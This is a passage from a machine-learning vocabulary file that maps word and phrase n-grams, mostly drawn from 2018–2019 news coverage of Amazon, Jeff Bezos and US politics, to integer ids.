\"increase wages\": 113003,\n  \"recent bipartisan\": 113004,\n  \"2018 government\": 113005,\n  \"opening chain\": 113006,\n  \"longest\": 113007,\n  \"pay costs\": 113008,\n  \"chris edelson\": 113009,\n  \"politic ready\": 113010,\n  \"root anger\": 113011,\n  \"government decides\": 113012,\n  \"cruze vehicles\": 113013,\n  \"fucking asshole\": 113014,\n  \"epidemic second\": 113015,\n  \"maloney stated\": 113016,\n  \"kickstarter ends\": 113017,\n  \"royal random\": 113018,\n  \"israeli retail\": 113019,\n  \"detach\": 113020,\n  \"helping middle\": 113021,\n  \"laundry detergent\": 113022,\n  \"biggest supporters\": 113023,\n  \"new task\": 113024,\n  \"freedom long\": 113025,\n  \"spacecraft\": 113026,\n  \"firm followed\": 113027,\n  \"hampshire double\": 113028,\n  \"little bezos\": 113029,\n  \"apparent democrats\": 113030,\n  \"teaches courses\": 113031,\n  \"water supply\": 113032,\n  \"trump security\": 113033,\n  \"produced recommendations\": 113034,\n  \"company revealed\": 113035,\n  \"public format\": 113036,\n  \"251\": 113037,\n  \"sites 2018\": 113038,\n  \"getty amazon\": 113039,\n  \"incoming acting\": 113040,\n  \"shipped trump\": 113041,\n  \"barry lynn\": 113042,\n  \"harbor maryland\": 113043,\n  \"women leader\": 113044,\n  \"masterstroke\": 113045,\n  \"varney responded\": 113046,\n  \"discount refers\": 113047,\n  \"purchase toilet\": 113048,\n  \"relentless climb\": 113049,\n  \"gregg\": 113050,\n  \"office practices\": 113051,\n  \"wife filing\": 113052,\n  \"media announced\": 113053,\n  \"amazon replied\": 113054,\n  \"help individuals\": 113055,\n  \"preaker\": 113056,\n  \"codes career\": 113057,\n  \"prior explanations\": 113058,\n  \"violating trade\": 113059,\n  \"place leased\": 113060,\n  \"eyes continue\": 113061,\n  \"bible turns\": 113062,\n  \"folly magnum\": 113063,\n  \"country forestry\": 113064,\n  \"french airstrikes\": 113065,\n  \"months wearing\": 113066,\n  \"new internal\": 113067,\n  \"urgent requests\": 113068,\n  \"department jeff\": 113069,\n  \"making political\": 113070,\n  \"dog wyatt\": 113071,\n  \"insisted sadler\": 113072,\n  \"prayer ceremony\": 113073,\n  \"boy vermont\": 113074,\n  \"600x400 getty_72664757_387844\": 113075,\n  \"jubeir saudi\": 113076,\n  \"just approved\": 113077,\n  \"today revenge\": 113078,\n  \"46hrnjigkz michael\": 113079,\n  \"new washington\": 113080,\n  \"separating youngsters\": 113081,\n  \"related moneymaking\": 113082,\n  \"process crude\": 113083,\n  \"demand action\": 113084,\n  \"week marked\": 113085,\n  \"administration reversed\": 113086,\n  \"profit corporation\": 113087,\n  \"suggest dark\": 113088,\n  \"prior suits\": 113089,\n  \"land long\": 113090,\n  \"postponing\": 113091,\n  \"update globenewswire\": 113092,\n  \"apcustomersupport\": 113093,\n  \"baltimore\": 113094,\n  \"fuel\": 113095,\n  \"maxx\": 113096,\n  \"feezt58pfz secret\": 113097,\n  \"suicidal thoughts\": 113098,\n  \"000 cities\": 113099,\n  \"states britain\": 113100,\n  \"balance favors\": 113101,\n  \"r4ee o9x\": 113102,\n  \"diego state\": 113103,\n  \"trumpidiotno1\": 113104,\n  \"worlds largest\": 113105,\n  \"agreed share\": 113106,\n  \"reported iphone\": 113107,\n  \"constant sparring\": 113108,\n  \"financial polls\": 113109,\n  \"cristina known\": 113110,\n  \"nominate william\": 113111,\n  \"statesmen\": 113112,\n  \"baring attempts\": 113113,\n  \"winfrey supported\": 113114,\n  \"airspace\": 113115,\n  \"bharatiya\": 113116,\n  \"biotech campus\": 113117,\n  \"retellings\": 113118,\n  \"autonomy allowing\": 113119,\n  \"alabama mall\": 113120,\n  \"casino company\": 113121,\n  \"analytics digital\": 113122,\n  \"needham\": 113123,\n  \"liability partnership\": 113124,\n  \"remote servers\": 113125,\n  \"exiles watching\": 113126,\n  \"did takedown\": 113127,\n  \"median compensation\": 113128,\n  \"locations washington\": 113129,\n  \"fleeting getty\": 113130,\n  \"closely read\": 113131,\n  \"america pecking\": 113132,\n  \"mattmackowiak filing\": 113133,\n  \"facto force\": 113134,\n  \"paper failure\": 113135,\n  \"regulating google\": 113136,\n  \"explicitly defined\": 113137,\n  \"oppression poverty\": 113138,\n  \"wonka ish\": 113139,\n  \"unusual twist\": 113140,\n  \"weather weather\": 113141,\n  \"piracy trafficking\": 113142,\n  \"newest book\": 113143,\n  \"time cities\": 113144,\n  \"conquering\": 113145,\n  \"nasdaq tumble\": 113146,\n  \"arrived coincidentally\": 113147,\n  \"amazon locations\": 113148,\n  \"365\": 113149,\n  \"horrific wine\": 113150,\n  \"carter hapyhairstylist\": 113151,\n  \"f1 veteran\": 113152,\n  \"nicknamed mexican\": 113153,\n  \"battles amazon\": 113154,\n  \"required\": 113155,\n  \"john edwards\": 113156,\n  \"striking deal\": 113157,\n  \"family separations\": 113158,\n  \"filmmakers\": 113159,\n  \"mass shootings\": 113160,\n  \"dressed thinking\": 113161,\n  \"fake russian\": 113162,\n  \"voicemail\": 113163,\n  \"certified organic\": 113164,\n  \"hitting streak\": 113165,\n  \"crowd\": 113166,\n  \"including taxes\": 113167,\n  \"workers complaints\": 113168,\n  \"poehler\": 113169,\n  \"news satire\": 113170,\n  \"founder nbc\": 113171,\n  \"consider trump\": 113172,\n  \"bezos arrive\": 113173,\n  \"snopes fact\": 113174,\n  \"boy usps\": 113175,\n  \"windmills new\": 113176,\n  \"media consumption\": 113177,\n  \"waswell\": 113178,\n  \"customers best\": 113179,\n  \"year staggering\": 113180,\n  \"political period\": 113181,\n  \"address local\": 113182,\n  \"latest master\": 113183,\n  \"president really\": 113184,\n  \"delivery personnel\": 113185,\n  \"writes stores\": 113186,\n  \"police officers\": 113187,\n  \"facebook society\": 113188,\n  \"cnl_global_nav_background_gradient_start null\": 113189,\n  \"brazilian forest\": 113190,\n  \"wasn political\": 113191,\n  \"irs code\": 113192,\n  \"documents interview\": 113193,\n  \"quarter leaving\": 113194,\n  \"discretion\": 113195,\n  \"amazon removed\": 113196,\n  \"worker pay\": 113197,\n  \"defense secretary\": 113198,\n  \"financial institution\": 113199,\n  \"enmity\": 113200,\n  \"suggests providing\": 113201,\n  \"today brought\": 113202,\n  \"different depending\": 113203,\n  \"tragic event\": 113204,\n  \"helped compile\": 113205,\n  \"henry winkler\": 113206,\n  \"special deal\": 113207,\n  \"takeadvantage\": 113208,\n  \"cafc\": 113209,\n  \"court justification\": 113210,\n  \"directly embedded\": 113211,\n  \"ftc commissioner\": 113212,\n  \"newsweek hot\": 113213,\n  \"anna fox\": 113214,\n  \"pot product\": 113215,\n  \"egg traeger\": 113216,\n  \"provide breakdown\": 113217,\n  \"important customers\": 113218,\n  \"critical publication\": 113219,\n  \"hr head\": 113220,\n  \"mesrobian\": 113221,\n  \"don ask\": 113222,\n  \"disaster reliefaccounts\": 113223,\n  \"oscars florida\": 113224,\n  \"closely located\": 113225,\n  \"makes winning\": 113226,\n  \"tagsamazon\": 113227,\n  \"exploit family\": 113228,\n  \"club charged\": 113229,\n  \"alexa forbes\": 113230,\n  \"chuck tells\": 113231,\n  \"upended main\": 113232,\n  \"feel asconfident\": 113233,\n  \"malinowski fromnew\": 113234,\n  \"balart\": 113235,\n  \"policy pronouncement\": 113236,\n  \"nasa bezos\": 113237,\n  \"analytica used\": 113238,\n  \"paper mentions\": 113239,\n  \"man willing\": 113240,\n  \"repeatedly insisted\": 113241,\n  \"ago period\": 113242,\n  \"homelessness including\": 113243,\n  \"portfolios\": 113244,\n  \"clearances record\": 113245,\n  \"helped democratize\": 113246,\n  \"largest metropolis\": 113247,\n  \"anchor tenant\": 113248,\n  \"believes president\": 113249,\n  \"having political\": 113250,\n  \"prices fewer\": 113251,\n  \"unprecedented decade\": 113252,\n  \"parental\": 113253,\n  \"fintech\": 113254,\n  \"free thousands\": 113255,\n  \"provide emergency\": 113256,\n  \"4chan\": 113257,\n  \"hawke\": 113258,\n  \"kingston logistics\": 113259,\n  \"theme park\": 113260,\n  \"fell asleep\": 113261,\n  \"77482\": 113262,\n  \"t5e\": 113263,\n  \"obama live\": 113264,\n  \"gay stolberg\": 113265,\n  \"rotting\": 113266,\n  \"accusation\": 113267,\n  \"putnam wants\": 113268,\n  \"paper parent\": 113269,\n  \"flash crash\": 113270,\n  \"weren authorized\": 113271,\n  \"armed service\": 113272,\n  \"campaign spent\": 113273,\n  \"tucker shocks\": 113274,\n  \"index tend\": 113275,\n  \"program managers\": 113276,\n  \"google broken\": 113277,\n  \"viral photo\": 113278,\n  \"support modest\": 113279,\n  \"pro worker\": 113280,\n  \"patterns\": 113281,\n  \"pot\": 113282,\n  \"good projects\": 113283,\n  \"governance bloomberg\": 113284,\n  \"definitely city\": 113285,\n  \"conference alexandria\": 113286,\n  \"account hall\": 113287,\n  \"tussles involving\": 113288,\n  \"strs\": 113289,\n  \"advisers\": 113290,\n  \"corridor\": 113291,\n  \"revenue delivering\": 113292,\n  \"putin summit\": 113293,\n  \"brainer\": 113294,\n  \"aim\\u00e9\": 113295,\n  \"newest board\": 113296,\n  \"home runs\": 113297,\n  \"federal legislation\": 113298,\n  \"businesses driving\": 113299,\n  \"220 points\": 113300,\n  \"retailers remain\": 113301,\n  \"haddad\": 113302,\n  \"paulson 2018\": 113303,\n  \"syckle\": 113304,\n  \"global publication\": 113305,\n  \"repertory\": 113306,\n  \"sources include\": 113307,\n  \"signed legislation\": 113308,\n  \"112\": 113309,\n  \"100 cbs\": 113310,\n  \"hot air\": 113311,\n  \"book publisher\": 113312,\n  \"tru stated\": 113313,\n  \"diana schappert\": 113314,\n  \"2018 466\": 113315,\n  \"random happened\": 113316,\n  \"james bond\": 113317,\n  \"servers motherboards\": 113318,\n  \"hensinki\": 113319,\n  \"pain management\": 113320,\n  \"video nearly\": 113321,\n  \"house repeatedly\": 113322,\n  \"term risks\": 113323,\n  \"television shows\": 113324,\n  \"marie harf\": 113325,\n  \"pardon posted\": 113326,\n  \"giuliani told\": 113327,\n  \"great stock\": 113328,\n  \"payoff\": 113329,\n  \"cnn slogan\": 113330,\n  \"hijacking causing\": 113331,\n  \"alongside apple\": 113332,\n  \"undaunted\": 113333,\n  \"recently overturned\": 113334,\n  \"economist larry\": 113335,\n  \"formulate\": 113336,\n  \"rid japan\": 113337,\n  \"actually set\": 113338,\n  \"info quickly\": 113339,\n  \"soften potential\": 113340,\n  \"recover billions\": 113341,\n  \"risk appetites\": 113342,\n  \"reassigning\": 113343,\n  \"child credit\": 113344,\n  \"campuses amazon\": 113345,\n  \"rules sought\": 113346,\n  \"variable\": 113347,\n  \"important news\": 113348,\n  \"post roe\": 113349,\n  \"sold according\": 113350,\n  \"mark major\": 113351,\n  \"net lisa\": 113352,\n  \"promote satanism\": 113353,\n  \"carrier companies\": 113354,\n  \"premium buyers\": 113355,\n  \"q2 forecasts\": 113356,\n  \"problems raised\": 113357,\n  \"decision fed\": 113358,\n  \"delightfully\": 113359,\n  \"avoiding job\": 113360,\n  \"say wait\": 113361,\n  \"company massive\": 113362,\n  \"response amzn\": 113363,\n  \"today published\": 113364,\n  \"lob\": 113365,\n  \"lucrative monopoly\": 113366,\n  \"rates according\": 113367,\n  \"beyer 2019\": 113368,\n  \"trump detests\": 113369,\n  \"team working\": 113370,\n  \"sounding upbeat\": 113371,\n  \"giant alibaba\": 113372,\n  \"graduate\": 113373,\n  \"seeing basically\": 113374,\n  \"sharing arrangements\": 113375,\n  \"request reportedly\": 113376,\n  \"boy believing\": 113377,\n  \"2019 gasol\": 113378,\n  \"2635 702\": 113379,\n  \"states commerce\": 113380,\n  \"specifically recruit\": 113381,\n  \"secretary wrote\": 113382,\n  \"costa constantinides\": 113383,\n  \"flick set\": 113384,\n  \"commercial included\": 113385,\n  \"foreign wars\": 113386,\n  \"presidential ambitions\": 113387,\n  \"ban jan\": 113388,\n  \"illegal actions\": 113389,\n  \"stocks bounced\": 113390,\n  \"total refunds\": 113391,\n  \"travel kits\": 113392,\n  \"toddbishop\": 113393,\n  \"process soon\": 113394,\n  \"expresses\": 113395,\n  \"findings added\": 113396,\n  \"argument doesn\": 113397,\n  \"sniped\": 113398,\n  \"rates tax\": 113399,\n  \"forces saudi\": 113400,\n  \"advisors donnelly\": 113401,\n  \"national emergencying\": 113402,\n  \"crackedmarket jani\": 113403,\n  \"briefs google\": 113404,\n  \"lyon street\": 113405,\n  \"complete falsehood\": 113406,\n  \"yellow folk\": 113407,\n  \"making information\": 113408,\n  \"biased coverage\": 113409,\n  \"mind meltingly\": 113410,\n  \"direct incentives\": 113411,\n  \"pressing stories\": 113412,\n  \"labor 760\": 113413,\n  \"aerospace giant\": 113414,\n  \"kindles\": 113415,\n  \"smugness\": 113416,\n  \"hosts bret\": 113417,\n  \"ad midterms\": 113418,\n  \"stock won\": 113419,\n  \"amazon spokeswoman\": 113420,\n  \"just good\": 113421,\n  \"poll shows\": 113422,\n  \"608m amazon\": 113423,\n  \"book shortly\": 113424,\n  \"big does\": 113425,\n  \"iconic red\": 113426,\n  \"reauth\": 113427,\n  \"dominant presence\": 113428,\n  \"pfas\": 113429,\n  \"big reason\": 113430,\n  \"agendas tabloids\": 113431,\n  \"djax_mobileadserver\": 113432,\n  \"expects organic\": 113433,\n  \"reading moving\": 113434,\n  \"audit firms\": 113435,\n  \"company owned\": 113436,\n  \"selling momentum\": 113437,\n  \"nbc summed\": 113438,\n  \"price jacob\": 113439,\n  \"seattle tara\": 113440,\n  \"hambach\": 113441,\n  \"ftc google\": 113442,\n  \"gay governor\": 113443,\n  \"hanging chads\": 113444,\n  \"century including\": 113445,\n  \"women stream\": 113446,\n  \"creators focus\": 113447,\n  \"star trek\": 113448,\n  \"pentagon demands\": 113449,\n  \"fbi james\": 113450,\n  \"pay taxes\": 113451,\n  \"world mackenzie\": 113452,\n  \"videos grids\": 113453,\n  \"photo william\": 113454,\n  \"state companies\": 113455,\n  \"9th\": 113456,\n  \"usps costs\": 113457,\n  \"amazon honcho\": 113458,\n  \"wait partner\": 113459,\n  \"1997 used\": 113460,\n  \"republicans generally\": 113461,\n  \"company usual\": 113462,\n  \"autobot logo\": 113463,\n  \"farrow shared\": 113464,\n  \"governments owning\": 113465,\n  \"just newon\": 113466,\n  \"discernible competitive\": 113467,\n  \"isn response\": 113468,\n  \"eclipsed gates\": 113469,\n  \"vegas area\": 113470,\n  \"cleaner\": 113471,\n  \"royally screwed\": 113472,\n  \"community zuker\": 113473,\n  \"thrones 2019\": 113474,\n  \"reported extensively\": 113475,\n  \"felling\": 113476,\n  \"allegations\": 113477,\n  \"play water\": 113478,\n  \"flippers\": 113479,\n  \"enquirer parent\": 113480,\n  \"quashing\": 113481,\n  \"prices attacking\": 113482,\n  \"credits 100\": 113483,\n  \"grant making\": 113484,\n  \"slides\": 113485,\n  \"press time\": 113486,\n  \"sgn nyc\": 113487,\n  \"charlie kaijo\": 113488,\n  \"opened trading\": 113489,\n  \"gained significantly\": 113490,\n  \"mandatorily taxed\": 113491,\n  \"innocent children\": 113492,\n  \"backlash\": 113493,\n  \"product management\": 113494,\n  \"incredibly bad\": 113495,\n  \"operation launched\": 113496,\n  \"crowded transportation\": 113497,\n  \"common voices\": 113498,\n  \"walmart really\": 113499,\n  \"address counterfeit\": 113500,\n  \"tainting\": 113501,\n  \"fed chairman\": 113502,\n  \"shares used\": 113503,\n  \"publish picture\": 113504,\n  \"watched press\": 113505,\n  \"reported lord\": 113506,\n  \"blackmail plot\": 113507,\n  \"trading way\": 113508,\n  \"county prosector\": 113509,\n  \"promote amazon\": 113510,\n  \"allegations wouldn\": 113511,\n  \"face sanctions\": 113512,\n  \"aws facing\": 113513,\n  \"national origin\": 113514,\n  \"shun\": 113515,\n  \"terkel\": 113516,\n  \"paul ryan\": 113517,\n  \"computing space\": 113518,\n  \"selling title\": 113519,\n  \"minutes bezos\": 113520,\n  \"volunteer shifts\": 113521,\n  \"cloud 5g\": 113522,\n  \"monetary theory\": 113523,\n  \"var l4\": 113524,\n  \"z4\": 113525,\n  \"larger sense\": 113526,\n  \"relationship washington\": 113527,\n  \"boss claims\": 113528,\n  \"sacks\": 113529,\n  \"competition donald\": 113530,\n  \"petition demanding\": 113531,\n  \"sinema running\": 113532,\n  \"lorton va\": 113533,\n  \"publicizing\": 113534,\n  \"currently america\": 113535,\n  \"article cowen\": 113536,\n  \"cap denim\": 113537,\n  \"feb column\": 113538,\n  \"personally affronted\": 113539,\n  \"local crisis\": 113540,\n  \"post cover\": 113541,\n  \"marchionne\": 113542,\n  \"pop fans\": 113543,\n  \"planning tv\": 113544,\n  \"protection constantly\": 113545,\n  \"sensors bouncing\": 113546,\n  \"markets news\": 113547,\n  \"hot shot\": 113548,\n  \"questionable perks\": 113549,\n  \"ticker\": 113550,\n  \"forthcoming\": 113551,\n  \"chat jamie\": 113552,\n  \"fab\": 113553,\n  \"colleges brookings\": 113554,\n  \"disgrace\": 113555,\n  \"named jeff\": 113556,\n  \"homeless bezos\": 113557,\n  \"comparetotoggle false\": 113558,\n  \"updated jul\": 113559,\n  \"amzn 346\": 113560,\n  \"jos\\u00e9 serrano\": 113561,\n  \"amzn managerial\": 113562,\n  \"vexing\": 113563,\n  \"emergency wall\": 113564,\n  \"uscis\": 113565,\n  \"trump juvenile\": 113566,\n  \"page scottie\": 113567,\n  \"smaller pie\": 113568,\n  \"jobs lower\": 113569,\n  \"noticed problems\": 113570,\n  \"enquirer jeff\": 113571,\n  \"031 mln\": 113572,\n  \"branded\": 113573,\n  \"358\": 113574,\n  \"killer\": 113575,\n  \"buyer market\": 113576,\n  \"actually jeff\": 113577,\n  \"snow report\": 113578,\n  \"2019 jeff\": 113579,\n  \"nutanix ceo\": 113580,\n  \"employment labor\": 113581,\n  \"trump prepared\": 113582,\n  \"vital investments\": 113583,\n  \"box experts\": 113584,\n  \"declined straight\": 113585,\n  \"petty man\": 113586,\n  \"congregate online\": 113587,\n  \"turns 100\": 113588,\n  \"people won\": 113589,\n  \"change deforestation\": 113590,\n  \"juggernaut amazon\": 113591,\n  \"cataloged attempts\": 113592,\n  \"broadcast networks\": 113593,\n  \"public response\": 113594,\n  \"bezos villa\": 113595,\n  \"beast characteristics\": 113596,\n  \"good yes\": 113597,\n  \"shame nation\": 113598,\n  \"patience going\": 113599,\n  \"sports right\": 113600,\n  \"helpedarrange\": 113601,\n  \"meet asks\": 113602,\n  \"impost tariffs\": 113603,\n  \"different kinds\": 113604,\n  \"waters southern\": 113605,\n  \"valuable contributions\": 113606,\n  \"thoroughly tiresome\": 113607,\n  \"murdoch\": 113608,\n  \"people sen\": 113609,\n  \"seeking wall\": 113610,\n  \"station moveon\": 113611,\n  \"pinnacle foods\": 113612,\n  \"services according\": 113613,\n  \"gianaris passes\": 113614,\n  \"rbis\": 113615,\n  \"brands\": 113616,\n  \"clark think\": 113617,\n  \"today minister\": 113618,\n  \"subject arises\": 113619,\n  \"required nexus\": 113620,\n  \"life ge\": 113621,\n  \"states court\": 113622,\n  \"pieters shares\": 113623,\n  \"thepresident trying\": 113624,\n  \"thomas isn\": 113625,\n  \"nyse jwn\": 113626,\n  \"news shared\": 113627,\n  \"767 aircraft\": 113628,\n  \"culinary\": 113629,\n  \"boy big\": 113630,\n  \"jp\": 113631,\n  \"totalitarian monopoly\": 113632,\n  \"share gains\": 113633,\n  \"entire national\": 113634,\n  \"business supplies\": 113635,\n  \"ranted\": 113636,\n  \"reading trump\": 113637,\n  \"tech majors\": 113638,\n  \"condemned inmates\": 113639,\n  \"effectively punting\": 113640,\n  \"jean\": 113641,\n  \"young ladies\": 113642,\n  \"steve wamhoff\": 113643,\n  \"geni\": 113644,\n  \"college education\": 113645,\n  \"compelled firm\": 113646,\n  \"events guide\": 113647,\n  \"japanese controlled\": 113648,\n  \"seaworld\": 113649,\n  \"america skyrocketing\": 113650,\n  \"harrigan\": 113651,\n  \"infused challenges\": 113652,\n  \"altered\": 113653,\n  \"reciting\": 113654,\n  \"sanders criticisms\": 113655,\n  \"losing half\": 113656,\n  \"views jeff\": 113657,\n  \"aneurysms\": 113658,\n  \"known sexual\": 113659,\n  \"tsunami veteran\": 113660,\n  \"netflix remains\": 113661,\n  \"poor working\": 113662,\n  \"tariff washington\": 113663,\n  \"hawaiian\": 113664,\n  \"proposed secondary\": 113665,\n  \"chaos inside\": 113666,\n  \"creates tremendous\": 113667,\n  \"place prize\": 113668,\n  \"elastic compute\": 113669,\n  \"punished huge\": 113670,\n  \"seventh\": 113671,\n  \"heineken\": 113672,\n  \"greases wheels\": 113673,\n  \"especially kids\": 113674,\n  \"mentioned walmart\": 113675,\n  \"better forest\": 113676,\n  \"harriet tubman\": 113677,\n  \"public trust\": 113678,\n  \"story camille\": 113679,\n  \"stunning depth\": 113680,\n  \"volumes decline\": 113681,\n  \"intrusion\": 113682,\n  \"pointed ou\": 113683,\n  \"rise describing\": 113684,\n  \"usps money\": 113685,\n  \"heartbreaking problems\": 113686,\n  \"squeeze higher\": 113687,\n  \"nba new\": 113688,\n  \"capital wacc\": 113689,\n  \"optimism reuters\": 113690,\n  \"moves shoppers\": 113691,\n  \"hoops star\": 113692,\n  \"tech suggesting\": 113693,\n  \"infatuated\": 113694,\n  \"compositions borne\": 113695,\n  \"brand protection\": 113696,\n  \"experienced reduced\": 113697,\n  \"government count\": 113698,\n  \"fully clothed\": 113699,\n  \"hc ic\": 113700,\n  \"called gig\": 113701,\n  \"illinois republicans\": 113702,\n  \"job wasn\": 113703,\n  \"european nationalist\": 113704,\n  \"sethabramson\": 113705,\n  \"politicians want\": 113706,\n  \"right leaning\": 113707,\n  \"personally requested\": 113708,\n  \"2018 buybox\": 113709,\n  \"thing says\": 113710,\n  \"blocked news\": 113711,\n  \"quickly cowen\": 113712,\n  \"officials series\": 113713,\n  \"major role\": 113714,\n  \"amazon uniforms\": 113715,\n  \"lawyer proposed\": 113716,\n  \"educational programs\": 113717,\n  \"protocol a4ee\": 113718,\n  \"thepentagon\": 113719,\n  \"files containing\": 113720,\n  \"crazy prices\": 113721,\n  \"trust traitor\": 113722,\n  \"crime antarctica\": 113723,\n  \"0x367\": 113724,\n  \"pen cites\": 113725,\n  \"100 self\": 113726,\n  \"manchild\": 113727,\n  \"kill payments\": 113728,\n  \"knew exactly\": 113729,\n  \"throw away\": 113730,\n  \"shaheen job\": 113731,\n  \"purdue includes\": 113732,\n  \"linkedin profile\": 113733,\n  \"ground greene\": 113734,\n  \"clients sum\": 113735,\n  \"business 2018\": 113736,\n  \"significant single\": 113737,\n  \"fy2020\": 113738,\n  \"certain tax\": 113739,\n  \"bent government\": 113740,\n  \"taxes second\": 113741,\n  \"brody 46m\": 113742,\n  \"service consumer\": 113743,\n  \"enigmatic figure\": 113744,\n  \"community developer\": 113745,\n  \"social events\": 113746,\n  \"companies view\": 113747,\n  \"ease investor\": 113748,\n  \"initially fall\": 113749,\n  \"new investment\": 113750,\n  \"discovering baby\": 113751,\n  \"bustle digital\": 113752,\n  \"assistant essentially\": 113753,\n  \"trademark enforcement\": 113754,\n  \"seattle sprinting\": 113755,\n  \"traditions\": 113756,\n  \"ea try\": 113757,\n  \"biggest house\": 113758,\n  \"introduction entitled\": 113759,\n  \"unfair india\": 113760,\n  \"weekday trumpdate\": 113761,\n  \"citations\": 113762,\n  \"david beard\": 113763,\n  \"robertson\": 113764,\n  \"provides daily\": 113765,\n  \"sources iduskbn1l10hs\": 113766,\n  \"cellular\": 113767,\n  \"campaign staff\": 113768,\n  \"preliminary talks\": 113769,\n  \"ecommerce giants\": 113770,\n  \"online anti\": 113771,\n  \"a380 superjumbo\": 113772,\n  \"foundation chairman\": 113773,\n  \"university fraternity\": 113774,\n  \"undersigned businesses\": 113775,\n  \"letters written\": 113776,\n  \"small corner\": 113777,\n  \"america military\": 113778,\n  \"scott duke\": 113779,\n  \"says legendary\": 113780,\n  \"job continue\": 113781,\n  \"spend 420\": 113782,\n  \"story bernie\": 113783,\n  \"dailycallernewsfoundation org\": 113784,\n  \"getting billionaires\": 113785,\n  \"government instead\": 113786,\n  \"jackson documentary\": 113787,\n  \"ordering standard\": 113788,\n  \"combat counterfeit\": 113789,\n  \"drills trump\": 113790,\n  \"bruce hoffman\": 113791,\n  \"appear today\": 113792,\n  \"gossipy goods\": 113793,\n  \"vandehei wrote\": 113794,\n  \"revolving door\": 113795,\n  \"sourcing outside\": 113796,\n  \"extravaganza kicks\": 113797,\n  \"actual facts\": 113798,\n  \"elkins helped\": 113799,\n  \"beijing passes\": 113800,\n  \"merciless american\": 113801,\n  \"finalists earlier\": 113802,\n  \"half feet\": 113803,\n  \"americas youngest\": 113804,\n  \"andy mccabe\": 113805,\n  \"agency intercepted\": 113806,\n  \"trump help\": 113807,\n  \"transatlantic allies\": 113808,\n  \"alexander skarsg\\u00e5rd\": 113809,\n  \"symc\": 113810,\n  \"general clouding\": 113811,\n  \"8514\": 113812,\n  \"high tech\": 113813,\n  \"tad peeved\": 113814,\n  \"clash intensifies\": 113815,\n  \"option outside\": 113816,\n  \"leading experts\": 113817,\n  \"don appear\": 113818,\n  \"immigrant stepfather\": 113819,\n  \"illegal ms\": 113820,\n  \"recommendations straight\": 113821,\n  \"olive kitteridge\": 113822,\n  \"majorities\": 113823,\n  \"production fetching\": 113824,\n  \"devastating crimes\": 113825,\n  \"coming hq2\": 113826,\n  \"financial products\": 113827,\n  \"giving health\": 113828,\n  \"vmware amazon\": 113829,\n  \"nipple bhutan\": 113830,\n  \"i1\": 113831,\n  \"sympathised\": 113832,\n  \"intelligence\": 113833,\n  \"company gives\": 113834,\n  \"california los\": 113835,\n  \"try ea\": 113836,\n  \"flat\": 113837,\n  \"enmeshes\": 113838,\n  \"process underscores\": 113839,\n  \"brokers telling\": 113840,\n  \"joshua gallu\": 113841,\n  \"body briefly\": 113842,\n  \"agency overseeing\": 113843,\n  \"volumes optimizing\": 113844,\n  \"warns sellers\": 113845,\n  \"siu edwardsville\": 113846,\n  \"taxpayer giveaway\": 113847,\n  \"amzn traffic\": 113848,\n  \"retail traders\": 113849,\n  \"scoops sign\": 113850,\n  \"best beach\": 113851,\n  \"promoting faux\": 113852,\n  \"psychiatrist mother\": 113853,\n  \"bezos defenders\": 113854,\n  \"line option\": 113855,\n  \"costco hiked\": 113856,\n  \"treatment 2019\": 113857,\n  \"nice compendium\": 113858,\n  \"unprecedented financial\": 113859,\n  \"thomson believes\": 113860,\n  \"theory rise\": 113861,\n  \"saw communities\": 113862,\n  \"restrained\": 113863,\n  \"twitter message\": 113864,\n  \"kirio lidiane\": 113865,\n  \"deepens\": 113866,\n  \"tax delivery\": 113867,\n  \"100 business\": 113868,\n  \"cuban immigrant\": 113869,\n  \"generate hopes\": 113870,\n  \"fray\": 113871,\n  \"cloak played\": 113872,\n  \"packers\": 113873,\n  \"demented\": 113874,\n  \"reading mar\": 113875,\n  \"just isn\": 113876,\n  \"blame sears\": 113877,\n  \"growth vernon\": 113878,\n  \"trump long\": 113879,\n  \"representative uu\": 113880,\n  \"christian college\": 113881,\n  \"wxyz today\": 113882,\n  \"stretched late\": 113883,\n  \"chipmaker reported\": 113884,\n  \"shopper merchandise\": 113885,\n  \"related tucker\": 113886,\n  \"data provided\": 113887,\n  \"potential embarrassment\": 113888,\n  \"croatian model\": 113889,\n  \"jumping\": 113890,\n  \"war korea\": 113891,\n  \"existing laws\": 113892,\n  \"member mnuchin\": 113893,\n  \"computer phone\": 113894,\n  \"fired woman\": 113895,\n  \"gifted young\": 113896,\n  \"sanders complained\": 113897,\n  \"ago shooting\": 113898,\n  \"scale makes\": 113899,\n  \"neighborhood mean\": 113900,\n  \"major character\": 113901,\n  \"enquirer minneapolis\": 113902,\n  \"total does\": 113903,\n  \"2017 fake\": 113904,\n  \"invest ruthlessly\": 113905,\n  \"shaker heights\": 113906,\n  \"greater capacity\": 113907,\n  \"personal doing\": 113908,\n  \"explanation\": 113909,\n  \"jarring\": 113910,\n  \"deeply grateful\": 113911,\n  \"simple grocery\": 113912,\n  \"drugmakers announce\": 113913,\n  \"notorious markets\": 113914,\n  \"coaster year\": 113915,\n  \"domestic politics\": 113916,\n  \"periods away\": 113917,\n  \"reuters fall\": 113918,\n  \"hamill\": 113919,\n  \"early look\": 113920,\n  \"behavior\": 113921,\n  \"duty cutting\": 113922,\n  \"jumped fence\": 113923,\n  \"operate says\": 113924,\n  \"maintain amazon\": 113925,\n  \"rose new\": 113926,\n  \"rosy economic\": 113927,\n  \"afghanistan risking\": 113928,\n  \"machine designed\": 113929,\n  \"paulsen political\": 113930,\n  \"newsletters thank\": 113931,\n  \"cap included\": 113932,\n  \"human body\": 113933,\n  \"vz\": 113934,\n  \"video sent\": 113935,\n  \"correct multiple\": 113936,\n  \"prompting anger\": 113937,\n  \"counsel work\": 113938,\n  \"antitrust action\": 113939,\n  \"accurate national\": 113940,\n  \"implicitly referring\": 113941,\n  \"false politifact\": 113942,\n  \"martin told\": 113943,\n  \"liptak\": 113944,\n  \"detailed communications\": 113945,\n  \"ip numbers\": 113946,\n  \"presidency amazon\": 113947,\n  \"ago lost\": 113948,\n  \"usps enact\": 113949,\n  \"sec authority\": 113950,\n  \"dad working\": 113951,\n  \"leaving neverland\": 113952,\n  \"million groupon\": 113953,\n  \"working unpaid\": 113954,\n  \"fetus ms\": 113955,\n  \"varicella virus\": 113956,\n  \"trends persist\": 113957,\n  \"npd\": 113958,\n  \"tax payer\": 113959,\n  \"wf fresh\": 113960,\n  \"bidding process\": 113961,\n  \"evidenced\": 113962,\n  \"hammered recently\": 113963,\n  \"trillion online\": 113964,\n  \"include reporters\": 113965,\n  \"protects america\": 113966,\n  \"wealth 2018\": 113967,\n  \"deserved praise\": 113968,\n  \"macdonald\": 113969,\n  \"customer traffic\": 113970,\n  \"make amends\": 113971,\n  \"strong protection\": 113972,\n  \"unaware\": 